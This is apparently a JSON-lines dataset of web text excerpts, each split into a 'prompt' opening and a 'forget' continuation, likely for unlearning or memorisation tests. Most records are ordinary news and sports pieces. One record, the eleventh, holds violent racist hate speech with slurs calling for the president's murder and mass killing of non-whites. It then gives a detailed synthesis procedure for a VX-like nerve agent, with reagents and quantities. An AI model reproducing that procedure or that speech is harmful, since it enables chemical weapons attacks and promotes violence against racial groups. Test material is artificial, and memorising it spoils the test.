{"prompt": "OTTAWA \u2013 Former Republican presidential candidate and libertarian Ron Paul will be the marquee speaker at Canada\u2019s premier gathering of Conservatives next month, a figure that even organizers bill as controversial. Paul will speak to the Manning Centre for Building Democracy\u2019s networking conference, an event that in the past has drawn Prime Minister Stephen Harper and many of his key cabinet members and advisers. Paul, referred to by some pundits as the real inspiration behind the Tea Party movement in the United States, is one of the foremost voices for small government \u2014 including eliminating foreign aid, the education department,", "forget": "key social programs and the war on drugs. He is staunchly anti-abortion, anti-gun control, and opposed to President Barack Obama\u2019s health-care reform. The 77-year-old has advocated for an end to Medicare and Medicaid in the United States. A Texan, Paul is a former doctor turned congressman and currently the chairman of the Campaign for Liberty. He was able to assemble a loyal following over the course of two Republican races in 2008 and 2011, notably with the use of the Internet. \u201cWe oppose the dehumanizing assumption that all issues that divide us must be settled at the federal level and forced on every American community, whether by activist judges, a power-hungry executive, or a meddling Congress,\u201d says the campaign\u2019s website. \u201cWe believe in the humane alternative of local self-government, as called for in our Constitution.\u201d Olivier Ballou, a spokesman for the Manning Centre, said centre president Preston Manning himself will engage in an on-stage discussion with Paul following the former presidential candidate\u2019s speech. \u201cHe\u2019s definitely our biggest attraction and source of controversy,\u201d Ballou said. \u201cHe\u2019s one of those guys that people either love him or hate him. It\u2019s fascinating since we announced him seeing the debates online.\u201d On the Manning Centre\u2019s Facebook page, commenters were divided about the wisdom of having Paul speak at the conference. \u201cRon Paul is a fool who will only discredit this fine attempt at preparing conservative minds for the future,\u201d read one post. \u201cRon Paul is the best politician in the U.S.A., the real deal. Very smart man, can\u2019t believe he isn\u2019t President he\u2019s so smart,\u201d said another. Conservative parliamentarians who are on the schedule for the conference were markedly terse in their reaction to Paul\u2019s participation. \u201cI actually have heard him speak in the past, and while I disagree with what he says on"}
{"prompt": "Hours after a crushing defeat to the Knicks, Sacramento Kings forward Matt Barnes choked a woman at a Manhattan night spot early Monday, law-enforcement sources said. Police were called to the club Avenue in Chelsea at around 3:20 a.m. following Barnes\u2019 alleged 3:20 a.m. attack on the 26-year-old victim, the sources said. The woman, who was not identified, may be Barnes\u2019 girlfriend \u2014 but his rep later suggested she was a stranger. The NBA player \u2014 who has not been arrested \u2014 also allegedly \u201cphysically assaulted\u201d another woman, 27, and a man, 35, from a table next to Barnes\u2019 crew", "forget": "as they attempted to intervene. They were both hit with a bottle, but it was not chucked by Barnes, the sources said. Barnes\u2019 initial beef was with people within his own crew of five to 10 pals at a club table before the fight escalated, the sources said. \u201cSo they get into a fight amongst each other and it spills over to another group in close proximity,\u201d a source said, adding that it\u2019s unclear what sparked the dispute. \u201cDon\u2019t know what sparked the dispute. This was a wild melee. This was a real good old fashioned barroom brawl.\u201d By the time officers arrived at the 10th Avenue club, Barnes and his buddies, including teammate DeMarcus Cousins, had left, sources said. Barnes defend himself on Instagram Monday, posting, \u201cThere\u2019s always two sides to a story.\u201d \u201cThe side the media consistently tries to paint of me . . . And what actually happened! Don\u2019t believe everything you read,\u201d Barnes posted to his more than 430,000 followers. A rep for Barnes told TMZ that a woman, who was not identified as his girlfriend, had slapped him in the face after Barnes accidentally \u201cbutt bumped\u201d her in the VIP section of the club and acted in self-defense when several men intervened. Barnes was knocked to the ground and choked by one of the men, the rep said, according to TMZ. Cousins even jumped in to defend Barnes, the rep said. Barnes\u2019 lawyer, Alex Spiro, told The Post, \u201cWe believe no crime was committed and will continue to cooperate with the authorities.\u201d A video obtained by TMZ appears to show Barnes and Cousins outside of the club talking about the brawl. Cousins can be heard saying that Barnes \u201chit the sh-t out of this n\u2014a.\u201d The fight came hours after Barnes stunk up Madison Square"}
{"prompt": "Rancher Cliven Bundy displays a bouquet of desert foliage that his cattle grazes on during a news conference at an event near his ranch in Bunkerville on Saturday, April 11, 2015. (David Becker/Las Vegas Review-Journal) Art Bundy, left, son of Nevada rancher Cliven Bundy, stands while his mother Carol Bundy talk to attorneys Joel Hansen and Larry Klaymam, right, in front of Lloyd George U.S. Courthouse on Tuesday, May 10, 2016. Jeff Scheid/Las Vegas Review-Journal Follow @jlscheid Conservative radio host Pete Santilli, right, follows Ammon Bundy, left, at the Malheur National Wildlife Refuge headquarters near Burns, Ore. on Thursday, Jan.", "forget": "7, 2016. Chase Stevens/Las Vegas Review-Journal Follow @csstevensphoto Ryan Bundy takes a phone call by the entrance of Malheur National Wildlife Refuge headquarters near Burns, Ore. on Wednesday, Jan. 6, 2016. Chase Stevens/Las Vegas Review-Journal Follow @csstevensphoto Terry Noonkester, right, and Jane Doherty, second right, protest outside Lloyd George Federal Building on Thursday, March 10, 2016, in Las Vegas. Cliven Bundy appears in court this afternoon. Bizuayehu Tesfaye/Las Vegas Review-Journal Follow @bizutesfaye Cliven Bundy speaks at a protest camp near Bunkerville on Friday, April 18, 2014. John Locher/Las Vegas Review-Journal Ammon Bundy, right, motions to Arizona Rancher LaVoy Finicum, left, while speaking with reporters at a news conference by the entrance of Malheur National Wildlife Refuge headquarters near Burns, Ore. on Tuesday, Jan. 5, 2016. Chase Stevens/Las Vegas Review-Journal Follow @csstevensphoto A Bundy Ranch sign near Bunkerville, Nev. greets visitors on Thursday, May 19, 2016. (Jeff Scheid/Las Vegas Review-Journal) Follow @jlscheid A sign is posted on a fence line is seen near the Bundy Ranch near Bunkerville, Nev. on Thursday, May 19, 2016. Jeff Scheid/Las Vegas Review-Journal Follow @jlscheid Federal employees talked about the \u201ccrazies\u201d from across the United States who were coming to Bunkerville to support rancher Cliven Bundy. After corralling Bundy\u2019s free-roaming \u201ctrespass\u201d cattle from the Gold Butte range in 2014, agents were bracing for a violent confrontation. Some employees feared for their lives as suggestive threats surfaced and were circulated among Interior Department and law enforcement officials, according to emails obtained by the Las Vegas Review-Journal through a Freedom of Information Act request. After more than two years of gathering, redacting and delaying release of the documents, the Bureau of Land Management this week provided the newspaper with more than 400 pages of blacked-out emails and reports. The newspaper contends so much requested information is missing that"}
{"prompt": "It has been said that the running back position has been dying in the NFL for the last several seasons and it appears that theory has come to fruition for the New York Giants as of late. The New York Giants 2016 running back depth chart has some question marks with four contributors last season. The G-men will be searching for some answers in 2016 as a result. Orleans Darkwa, Rashad Jennings, Shane Vereen, and Andre Williams each had their opportunities in 2015 to take full reins of the top spot, yet none of them were able to stand out,", "forget": "hence the new additions. General manager Jerry Reese and first year head coach Ben McAdoo both thought it best to bring in some competition and weed out the weak. Veteran Bobby Rainey as well as rookies Marshaun Coprich and Paul Perkins were added to the roster via free agency and the 2016 NFL Draft, respectively. The hope is that more competition at the position will force someone to rise to the occasion. So who, if anyone, will emerge as the lead back in Big Blue? New York Giants 2016 Running Back Depth Chart Projection Rashad Jennings \u2013 Although missing some opportunities as a Giant these past two seasons, Rashad Jennings is still the guy\u2026 for now. After missing five games in 2014, Jennings got off to a poor start in 2015. Averaging only 11 carries per game in September, Jennings scored one rushing touchdown and only managed to pull in five receptions without a score. The majority of his season was a mixture of inconsistent play, partially due to inconsistent touches. Not having topped 63 rushing yards in a game until Week 14, Jennings was not cutting it for coaches Tom Coughlin and then offensive coordinator Ben McAdoo. As a result, he was sharing carries as one part of a four-way tandem in the Giants backfield. Luckily for Jennings, he finished the season extremely well by running hard, fast, making great cuts, and taking advantage of his opportunities. Amassing nearly half of his total yardage and scoring two of his three rushing touchdowns, the last four weeks showed the Giants\u2019 coaching staff that Jennings can handle the load and deserves to get the bulk of the opportunities early on in 2016. Paul Perkins \u2013 By Week 7 you will agree with this decision\u2026 trust me (82 yard TD run). Perkins"}
{"prompt": "Obama Meets Privately With the Dead Musicians Phil Lesh and Bob Weir of the band The Dead perform in NYC, March 30, 2009. (Bryan Bedder/Getty Images ) The surviving (and formerly feuding) members of the Grateful Dead had a secret impromptu meeting Monday evening with the man they credit with reuniting them: President Obama. The president welcomed all the members of The Dead, who are performing tonight at the Verizon Center in Washington, to the Oval Office just before dinner last night. They didn't talk music as much as they did history - history about the Oval Office, and the", "forget": "president's desk. Apparently the band was quite taken with how tidy the president keeps his desk. And how down-to-earth he seemed, according a source who was there. \"The president was so gracious. Really, really nice and so welcoming. It hit you: you're in the Oval Office, but it was so normal,\" the source told us. The entourage included the four surviving members of the Grateful Dead - Bob Weir, Phil Lesh, Mickey Hart, Bill Kreutzmann - plus keyboardist Jeff Chimenti (from Weir's Ratdog) and Warren Haynes, who is joining the Dead on their 2009 spring tour as lead vocalist and guitarist. Some of them had their wives in tow. As if chatting with the president in the Oval Office weren't cool enough, something remarkable happened on their way out. Just outside the Oval Office, Phil and his wife, Jill Lesh, spotted a vase full of Scarlet Begonias sitting on a table. For the uninitiated, \"Scarlet Begonias\" is one of the late Grateful Dead band leader Jerry Garcia's most famous songs. (Check out a youthful looking Jerry Garcia singing \"Scarlet Begonias\" in this 1977 video, and be sure you have a tissue.) After admiring the Scarlet Begonias, the band went next door to the Eisenhower Executive Office Building to meet with the most prominent Deadheads in the Obama White House: senior advisors David Axelrod and Pete Rouse, and deputy chief of staff Jim Messina. All three are planning to go to tonight's one and only Dead show in Washington, we're told. After leaving the White House, the members of the Dead - none of whom, surprisingly, wore tie-dyed t-shirts to the Oval Office - walked over to their favorite Washington restaurant, the Old Ebbitt Grill, for dinner. Given that the Dead sparked the \"Deadheads for Obama\" movement when they reunited during"}
{"prompt": "The San Jose City Council approved a measure by a one-vote margin Tuesday that requires gun owners to secure their firearms when they are not at home. The measure passed 6-5 and requires firearm owners to store their guns either in a locked container or disable them with a trigger lock before leaving their residence. Supporters contend that 286 firearms were reported stolen out of 9,270 residential burglaries reported in the city of one million in the past three years, making the ordinance a matter of public safety. \u201cWe want to reduce the opportunities and possibilities of those who should", "forget": "not have access to guns and ensure that guns are properly stored at all times to prevent unnecessary and indefensible access and use,\u201d said Councilmembers Raul Peralez and Chappie Jones in a memo to the Council. The move, proposed last year, sets up those who have an unsecured gun stolen for fines of $1,000 and as much as six months in jail. Going past homeowners and renters, the requirements also apply to those in condos, hotels, time shares, and recreational vehicles inside the city. In 51-pages of letters to the Council concerning the proposal, most who wrote in opposed the measure, contending it would have little impact on crime and would penalize victims of burglaries while putting residents at risk in a self-defense encounter. In contrast, local media described Tuesday\u2019s meeting as emotional, with vocal advocates on both sides of the issue. City Councilmember Lan Diep voiced his concerns, saying the Council was micromanaging the actions of law-abiding citizens and cautioned against a one-size-fits-all mandate for a municipality with varied gun owners. \u201cA person who lives in a single-family home is probably more susceptible to burglary than one who lives in a high-rise with onsite security,\u201d said Diep, providing examples to place his argument in context. \u201cLeaving a handgun in a bedside drawer may be acceptable in a house with an immobile newborn, but unacceptable in a house with teenagers. Yet if those teenagers are taught to respect and handle guns from a young age so that they view guns as a tool rather than a shiny toy, then perhaps less precaution is required in that specific household.\u201d The ordinance was opposed by the National Rifle Association and its state affiliate, the California Rifle and Pistol Association, but the Law Center to Prevent Gun Violence argued that safe storage ordinances"}
{"prompt": "Looking for news you can trust? Subscribe to our free newsletters. Update, August 1, 9:57 p.m. EST: Surprise! A day after House Republicans fell into dysfunctional mayhem, they rallied to pass a supplemental spending bill that devotes $694 million to border security measures. The House approved the bill 223-189, with one Democrat voting in favor and four Republicans voting nay. It was a face-saving measure after House Speaker John Boehner on Thursday pulled the original bill right before it was supposed to receive a vote. But this supposed GOP victory is mostly a meaningless gesture. The Senate has already left", "forget": "town for the August recess, and the upper chamber likely wouldn\u2019t have approved the House\u2019s border bill anyway, with Democrats claiming it doesn\u2019t offer enough additional funds and contains harsh provisions easing the deportation of children. Boehner managed to win back the tea party wing of his party by pairing the spending bill with a stricter measure rolling back President Barack Obama\u2019s Deferred Action for Childhood Arrivals (DACA) program, an executive order that granted two-year waivers to 580,000 so-called DREAMers, young undocumented immigrants who grew up in the US. The anti-DACA bill\u2014which passed by a 216-192 vote later Friday night\u2014would bar the Obama administration from offering new DACA waivers or renewing current DACA beneficiaries when their two years are up. This bill was a show vote, for the Senate and Obama would never go along with it. But this was the GOP message of the day: in order to win the support of tea party Republicans for a bill with spending to ease the humanitarian crisis underway at the border, Boehner had to give these conservatives a vote to toss out the DREAMers. The House GOP fell into chaos and bickering Thursday afternoon, when House Speaker John Boehner yanked a pair of bills from the floor at the last minute. The House was supposed to have an easy final day of work before members jetted home for their five-week summer recess. But Sen. Ted Cruz (R-Texas), starring in a cameo role as Speaker of the Tea Party, sabotaged Boehner\u2019s best-laid plans. The GOP leadership had originally intended to pass a limited spending measure to bolster border security and immediately scoot off, leaving the final tricky decision-making to the Senate. But the tea party wing of the House\u2014inspired and encouraged by Cruz\u2014revolted against Boehner and refused to go along with the"}
{"prompt": "Movies cannot be complete without visual effects. Just think about The Jungle Book or The Guardians of the Galaxy. Most of the movies these days are visual effects heavy and require a team of great seasoned VFX artists to collaborate together and work hard to create those stunning visuals. In order to become a great VFX artist and be a part of a team like that, you really need to be committed and passionate about your work as it takes years of practice to be able to achieve the quality you see on these movies. In case you already have", "forget": "some experience or even if you're just starting out as a VFX artist, here are 5 great tips that will help you succeed in this field: #1: Observe The World Around You: The first step you need to take in order to become a great visual effects artist is actually to observe. Just look around you and pay attention to the closest details. The more attention you pay, the more real the effects will be. For example, just take a fire. Is the smoke always the same color? What makes it change? Is it always that dense? and how does it reacts when in front of a bright sky? Understanding how the lighting works is very significant in visual effects. You'll be able to create more correct shadows / highlights and reflections and learn how to create a more realistic contrast between different objects in the scene, Movement can also be tricky sometimes. You need to look at the leafs of the trees, for example. How do they act? And the branches? And the colors change in case if it\u2019s a sunny day? What about the shadows? All these minute details add up and can sell the realism to the audience. #2: Recreate Photographs: One of the things that will help you be a great VFX artist is to recreate photographs. Just pick some that have different shadows and lights and try to reproduce them. This will help you to see the difference between real things and fake ones. Despite the fact that the first ones won't be that good, it's a matter of practicing and experimenting. It\u2019s working on making CG look realistic and looking at real world references will teach you that what are those differences in the render you have in front of you compared to a"}
{"prompt": "Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World. The army on Thursday announced it has filed an indictment against a soldier for illegally sharing", "forget": "classified military information regarding IDF operations on the Golan border with another Israeli citizen who passed the information on to the Syrian government. The soldier, a corporal whose name is under gag order and was referred to as \u201cH.H.\u201d serves in a combat unit and was charged with exposing secrets and aiding the enemy. According to the indictment filed in the Central Military District Court, H.H. provided information around February 16-17 \u201cthat could harm state security.\u201dThe Israeli citizen middleman to whom H.H. allegedly provided the information, Sudi al-Makat, 48, from Majdal Shams on the Golan Heights, was indicted last week by the Nazareth District Court for a wide range of security offenses.H.H., Makat and associates were arrested by the Shin Bet (Israel Security Agency) and the police on and around February 25. According to investigators, Makat and other residents of Majdal Shams documented IDF movements along the border with Syria and transferred the information to officials in the Syrian government and intelligence community. Information was sent over the Internet, through a Syrian television station, and by a direct line that Makat had with Syrian officials.Makat admitted that he was in touch with Medhat Saleh, a Syrian government official well known for his links with officials in Syrian intelligence. Makat had served a full 27-year prison sentence up until 2012 for violent security crimes.The Central District Military Court ordered H.H. remanded to military police custody until the end of the trial and, until now, had imposed a gag order on the entire affair.On Thursday night, the High Court of Justice rejected a petition by Makat to appoint a defense lawyer for him who does not have approved credentials for representing defendants in cases dealing with classified information.Makat had argued that having a lawyer \u201capproved\u201d by the state, even if the state"}
{"prompt": "The National Association of Theater Owners made news on Wednesday with a series of 'requests' in regards to the ways in which studios advertise their product within the theater walls. The move was intended to give theater owners more flexibility in terms of how films are marketed inside the theaters. The two big suggestions are of course getting the most news. NATO is advising that studios refrain from marketing upcoming movies more than four months in advance of their domestic release, which would put the kibosh on teaser posters and glorified black screen teaser trailers that pop up a year", "forget": "prior to release. Also of note, NATO is recommending a two-minute limit on the length of previews, responding to consumer complaints of new films featuring a solid 20 minutes of coming attractions prior to the feature. The above recommendations are a step in the right direction. Sure we all loved the July 2007 teaser for The Dark Knight and the Marlon Brando-narrated teaser for Superman Returns, there is no reason those clips wouldn't have been just as exciting as the first look at the respective films just a few months prior to release. And the length of trailers is indeed an issue, with marketers often randomly filling up the 2.5 trailers with arbitrary spoilers purely to meet the time limit. While it's likely that the studios will protest and all of this will come to naught, there are other sensible ways to make the modern film trailer a more pleasurable experience. In short, here are six ways to fix the modern movie trailer. 1. No more divulging the climactic 'money shot'. This is not a new problem. I remember being thrilled by the climactic shot in the Mission: Impossible trailers which all ended with Tom Cruise leaping from an exploding helicopter onto a speeding train. I was less thrilled when I realized during the movie that I already knew how the main villain was going to die and how the climax was going to end. Ditto the third trailer for Spider-Man which literally showed Spider-Man catching Mary Jane in mid-air following her being tossed off a bridge. I'm thinking of course of the shot of the Hulk catching Tony Stark in mid-air in The Avengers, the very last shot of Quarantine being used both in the trailer, and the poster to the current campaign for Furious 6 (which gives away"}
{"prompt": "I'm and American legally I can advocate anything I damn well please. I can even advocate the murder of an individual. Hell I can't even be charged with a conspiracy to commit homicide until I take actual action to kill the target or hire and assassin. Let me show you. SOMEBODY SHOULD PUMP TWENTY PUMKIN'BALLS INTO THAT HALF-BLOODED KENYAN NIGGER RAISED OUTSIDE OUR EMPIRE WHO CLAIMS TO BE THE PRESIDENT BECAUSE DINIDUS, WOMEN, AND SPICS VOTED FOR HIM. I can't wait until we slaughter ever non-white in America, mestizos included. It's also legal for me to make and store nerve", "forget": "agents. I call it VV it\u2019s about 1/3 as toxic as VX but it has a much higher vaporization pressure so it is more easily aerosoled and it is extremely persistent which makes it good for area denial. VX is O-Ethyl S-(2-diisopropylaminoethyl) methylphosphonothioate VV is O-Ethyl S-(2-dimethylaminoethyl) methylphosphonothioate. into a very dry 2000 ml round bottom flask, the following ingredients are added, quickly, one after the other with swirling to mix them a few boiling chips, 800 ml anhydrous ethyl ether, 284 grams of methyl ethoxyphosphoryl chloride, 212 grams of dimethylaminoethanethiol, and 212 grams of triethylamine. it is very important that the glassware be very dry, and that the ingredients espescially the methyl ethoxyphosphoryl chloride be protected from moisture, because the presence of water really lowers the yield in this this reaction. when the ingredients have been added and mixed, a good efficient condenser topped with a drying tube is attached to the flask and a flow of very cold water is put trought the condenser . the contents of the flask are heated to boiling with a hot water bath and the reflux is maintened for one hour. the byproduct of this reaction, hydrogen chloride, is absorbed by the tiethylamine as it is produced, forming triethylamine hydrochloride cristal cristal at the end of the eating period, the mixture is cooled and the cristal of triethylamine hydrochloride are filtred out in a Buchner funnel. the filtered reaction mixture is then returned to 2000 ml round bottom flask, a few boiling chips added, the glassware set up for simple distillation and the ether removed by distilling it of under a gentle vacuum.an aspirator is perfect for this job since it will flush the ether fumes down the drain. when most of the ether is gone, the mixture is poured into a"}
{"prompt": "MORE THAN A TV: Kiwi smart TV owners have been slow to connect their TVs to the internet. The average Kiwi household has three internet-connected devices - and perhaps even more after yesterday - but many other web-capable gadgets in homes are not online, new research suggests. A Colmar Brunton survey, commissioned by wholesale broadband provider Chorus, found laptops, desk-top computers and smartphones were the web-connected gadgets with the highest penetration, appearing in 82 per cent, 63 per cent and 60 per cent of Kiwi homes respectively. Those gadgets had a high level of internet connectedness - at least 92", "forget": "per cent. But other smart devices are not being connected. Almost 40 per cent of New Zealand households have a smart or web-capable TV, so viewers can browse the web, stream programmes and movies and use applications such as Skype, but half of them are not hooked up to the internet. Similarly, 61 per cent of Blu-ray players, 57 per cent of security systems, 42 per cent of TV hard-drives and 41 per cent of hand-held gaming consoles are not used online. When asked why their devices were not online, 37 per cent of respondents said it was not necessary for them to be, 8 per cent said they did not know how to connect them, 8 per cent said they did not have the capability to connect them and 8 per cent said they did not want to use the devices online. Chorus spokesman Gerard Linstrom said many consumers were not aware their devices could be connected to the web or of the benefits of doing so. People thought Blu-ray players were just for playing high-definition disks, \"but increasingly, a lot of Blu-ray disks come with interactive content. There are additional features and programming available\". \"There's a lot of untapped content that people have already got access to - they've already paid for it.\" Web-connected home security systems could be managed and monitored remotely, for example, through a smartphone, while TV hard-drives could also be controlled remotely. Telecommunications Users Association chief executive Paul Brislen said awareness was an issue but a lack of content was a big reason people with smart TVs weren't connected - himself included. Movie and streaming service Quickflix had only just become available for TVs through Freeview. \"But Quickflix has a fairly limited library, they'd be the first to admit that. Sky doesn't do anything"}
{"prompt": "Dutch police have arrested a second suspect in relation to a threat in Rotterdam where a rock concert was canceled after a tip from Spanish authorities, NOS said on Thursday. The new arrest came around 2 am (0000 GMT) in the town of Nordbrabant, which lies near the Belgian border. A 22-year-old man was arrested in his home, which was searched, reported NOS. \"He is in custody and will be questioned about the threat in Rotterdam,\" police said in a statement, adding that they conducted a thorough search of his home. Dutch police do not generally release identities or other", "forget": "details of suspects in criminal investigations. Authorities closed off a venue where the US band Allah-Las was set to play in front of around 1,000 spectators. Rotterdam mayor Ahmed Aboutaleb said at a press conference that night that a van full of gas canisters was found near the concert venue. \"He is in custody and will be questioned about the threat in Rotterdam,\" police said in a statement, adding that they conducted a thorough search of his home. Dutch police do not generally release identities or other details of suspects in criminal investigations. Meanwhile, police said the driver of a Spain-registered white van carrying a number of gas canisters that was stopped Wednesday night close to the Maassilo concert venue \u2014 where the band Allah-Las had been due to perform \u2014 is unlikely to be a suspect in the threat probe. In a statement, police said the man was possibly drunk and will be questioned later Thursday. Explosives experts checked his van and found nothing suspicious beyond the gas canisters, according to the police statement. A search of the man's home \"uncovered no link with the terror threat ... at the Maassilo,\" police said. \"The man, a repair man, had an explanation for the gas canisters that will be investigated today.\" The performance by the Los Angeles band in Rotterdam was called off Wednesday night after Spanish authorities tipped Dutch police about a possible threat to the concert. The van driver was detained for questioning two hours after the cancellation. A Spanish counterterrorism official said Spain's Civil Guard received \"an alert indicating the possibility of an attack in a concert that was going to take place in Rotterdam.\" The Civil Guard shared the information with Dutch authorities Wednesday and was investigating the threat, said the source, who spoke anonymously because"}
{"prompt": "Sierra Nelson loves cephalopods. Squids, octopuses, cuttlefish\u2014you name it, if it\u2019s a bilateral mollusk with a big-ass head, Nelson is positively gaga over it. Nelson is a Seattle-area poet, and you can understand how a poet might fall in love with tentacled sea creatures: They\u2019re romantic figures, skulking in the ocean\u2014part of the great marine biosphere, but also remote from whales and fish. Those articulate limbs and big brains set them apart, leaving them to skulk and mope fabulously. And they even produce their own ink! How could a poet not land on Team Cephalopod? But Nelson is more science-minded", "forget": "than your average poet. She\u2019s a co-founder of the Vis-\u00e1-Vis Society, which applies scientific rigor to crowd-sourced poems, often employing large crowds at parties to write, Mad Libs-style, a series of poems about love and longing. No other poets in town, likely, have dissected a poem into pie charts on a whiteboard while wearing a lab coat. On her own, Nelson loves to tease out the poetry in science, finding resonance in the long and mysterious Latin words and phrases we\u2019ve used to name the world. One of my favorites of her poems is \u201cThe First Photograph,\u201d which explains the process that created a blurry heliograph by the father of photography, Joseph Nic\u00e9phore Ni\u00e9pce: \u201cThrough the pinprick it all came to us,/how close we were, upside down,/several hours on the windowsill./We were surfaces arranged to receive.\u201d The poem concludes: \u201cYet I capture you. Close to the sun./I coated my longing in bitumen.\u201d Much has been written about the way photographs capture a moment in time, but rarely is that desperate need so beautifully overt. So yes, there\u2019s whimsy in Nelson\u2019s celebration of all things squid and squidlike. But there\u2019s also serious investigation and a questing mind, fusing science and art and seeing what happens. Every year since 2015, she\u2019s been presenting Cephalopod Appreciation Societies\u2014arts celebrations with music, film, visual art, poetry, and speeches. Past participants have included musician Lori Goldston, biologist Stephanie Crofts, marine cinematographer Laura James, and novelist Kevin Emerson, and presentations have included stickers, classes on incorporating marine biology into creative writing, octopus-themed animation, and sea-shanty singalongs. This Sunday\u2019s Society is in a different setting: not the creative hub of Hugo House, as in past years, but at Waterfront Space, a gallery on Western Avenue. Nelson encourages participants of all ages to come dressed as their favorite cephalopod,"}
{"prompt": "NAIROBI (Reuters) - Rapidly spreading lawlessness as Somalia collapses in the worst fighting for two nearly decades is fuelling a wave of piracy that increasingly threatens one of the world\u2019s most important waterways. South Korean ship Maputo 9 (L), which was hijacked by Somali pirates, is escorted by a Yemeni coast guard boat at Aden November 13, 2007. REUTERS/Khaled Abdullah Although shipping costs have not been affected so far, it is forcing Western navies to take action to protect shipping. Some suspect that ransom payments to pirates could be helping Islamist insurgents fight the weak interim government. The piracy is", "forget": "also hampering aid shipments to Somalia and thereby worsening a humanitarian crisis that encourages the anarchy. Heavily-armed pirates from Somalia have hijacked at least 30 ships so far this year in the Gulf of Aden \u2014 last week seizing a record four vessels in 48 hours. \u201cAll the shipping companies are taking this very seriously and are very concerned. This is an unprecedented rise in attacks,\u201d said Pottengal Mukundan, director of the International Maritime Bureau, a global piracy watchdog. The waters between Somalia and Yemen are a major artery used by nearly 20,000 vessels a year heading to and from the Suez Canal. The 700 million tons passing through the canal in 2007 was over 9 percent of an estimated 7.7 billion tons carried by global shipping. Merchant shipping carries more than 90 percent of the world\u2019s traded goods by volume. In May, the advisory Joint War Committee of Lloyd\u2019s Market Association designated the strategic channel at high risk of \u201cwar, strikes, terrorism and related perils\u201d. \u201cBut it\u2019s just a recommendation, and some underwriters may not follow it for their very important clients,\u201d Mukundan told Reuters. \u201cCosts have not gone up. Of course, if you are hijacked they go up quite significantly. But there is no contingent cost to piracy.\u201d Somali pirates are currently holding about 130 crew members hostage on at least seven vessels, including huge chemical tankers and bulk-carriers. Gunmen are holding vessels from Japan, Malaysia, Thailand, Nigeria, Germany and Iran. REBELS BEHIND ATTACKS? Attacks at sea have boomed as lawlessness increased in Somalia, where there has not been a working government since warlords overthrew dictator Mohamed Siad Barre in 1991. Since the start of last year, more than 8,000 civilians have been killed in fighting between allied Somali government and Ethiopian soldiers and Islamist rebels. Another 1"}
{"prompt": "The Quran-Burning Coverage Conundrum Enlarge this image toggle caption Joe Raedle/Getty Images Joe Raedle/Getty Images Brooke Gladstone is the host of On The Media from WNYC. Pastor Terry Jones was clearly on another planet when he told ABC\u2019s Terry Moran that his plan to burn Qurans was divinely inspired. Jesus \u201cwas very nice,\u201d he said, \u201cso I think Jesus would not run around burning books, but I think he would burn this one.\u201d But the pastor had feet solidly planted on terra firma when it came to working the media. You can read NPR's coverage of the latest developments in", "forget": "this story by clicking here. We love crazies -- they pull in audiences like a tractor beam. Even the mildly aberrant -- say, a runaway bride -- can dominate news cycles for days. But there was much more to the story of Pastor Jones. He is the fun-house mirror reflection of a certain segment of Americans. To politicians accused of racism or intolerance, he provided cover -- \u201cwe would never do that.\u201d To the world outside, he offered confirmation of what they believed they already knew. The problem for journalists was that in this political season, the story grew like a snowball rolling down a hill, and we have to take some responsibility for pushing it. The media, awash in controversy over the so-called ground zero mosque, smelled a pungent parable in the pastor\u2019s tale. So how should we have covered it? \u201cThis is a desperate man seeking the attention of the better part of the world,\u201d said Press Secretary Robert Gibb. \u201cI think we would all be served, for the safety of ourselves and for those that protect us each day, to cover something besides him every hour on the hour.\u201d As the week wore on, many mainstream news outlets made public avowals of their intention to approach the story with an emphasis on context, and a minimum of visuals. Fox News said it wouldn\u2019t cover the story at all. The AP declared that its policy is not to cover events \u201cthat are gratuitously manufactured to provoke and offend,\u201d which obviously this was. As Jones said: \u201cA radical message is necessary. \u2026 We expect the Muslims that are here in America to respect, honor, obey, submit to our Constitution.\u201d Under the Constitution, people have the right to brazenly misconstrue the Constitution. Small wonder that America\u2019s freedoms of speech and"}
{"prompt": "Several months after I arrived at Mount Koya, the center of Shingon Buddhism in Japan, eventually, I was assigned to teach some of the young monks English. Needless to say, it was very difficult to maintain the taste of samadhi during the complex activity of teaching, but I would still attempt to do so. During the break periods between the monks\u2019 English lessons, I would go off by myself for ten or fifteen minutes and attempt to reconnect to the concentrated state by doing a short sit. Then I would come back and see if I could maintain the taste", "forget": "of the concentrated state during the class. Usually I was unsuccessful, but just making the effort seemed meaningful. One day before break time, a monk handed me an envelope, saying, \u201cThis letter came to the temple for you.\u201d The letter was from one of my fellow graduate students in the Buddhist studies program at the University of Wisconsin. I went off by myself, opened the letter, and read it. Its contents shook me to the core. My friend informed me that our mutual idol and my personal role model, Dr. Robinson, had suffered a horrific accident in his home. A fuse had burnt out in his basement, and when he went down to change it, he had struck a match for illumination. He didn\u2019t know that a pipe was leaking and the basement was filled with gas. When he lit the match, the gas ignited, turning him into a fireball. He suffered severe burns over most of his body, including his eyes, which were destroyed. He was hovering between life and death; they didn\u2019t know which way it would go. Even if he lived, he would be horribly disfigured and blind. In the end, he lived for about a month in agonizing pain and then died. Even if you know a dozen languages and possess an intellect the size of Wisconsin, it won\u2019t help a bit when you\u2019re facing such intensities of pain, terror, and grief. This turned my life upside down. Up to this point, I had devoted myself to the acquisition of information and the honing of my intellect. But so what if you know a dozen languages and possess an intellect the size of Wisconsin? It won\u2019t help a bit when you\u2019re facing such intensities of pain, terror, and grief. Dukkha, \u201csuffering\u201d \u2014 the first noble truth"}
{"prompt": "Matt Sullivan/Getty Images Every season, at least one NFL team makes an improbable leap from the NFL's basement to its penthouse. Maybe it's a top-five draft pick or a new coach who makes a huge impact. Maybe an underachieving team finally finds a catalyst, like a new formation or alignment. Maybe Lady Luck just smiles on a team that's been on long odds for too long. This year, that team will be the Cleveland Browns. Not a Typo Wait, what? The Browns? The team with a second-year quarterback who posted a 72.6 NFL passer rating in his rookie season and", "forget": "turns 30 in October? The team built around the running of a second-year tailback who averaged 3.6 yards per carry in his debut campaign? The Browns, whose new head coach's claim to fame is mentoring one of the most talented quarterback prospects ever to two maddeningly inconsistent seasons? The Browns, whose new owner's company is under federal investigation for defrauding customers out of millions of dollars? Yes, those Browns. What the Browns Were in 2012 The Cleveland Browns finished last season at 5-11, last in the AFC North. They scored an average of 18.9 points per game, which ranked 24th in the NFL, per Pro Football Reference. They allowed 23 points per game, 19th best in the NFL. The Browns had an unremarkable plus-three turnover ratio, so they weren't helped or hurt by turnover margin. Overall in 2012, the Browns performed on the low end of the NFL's giant 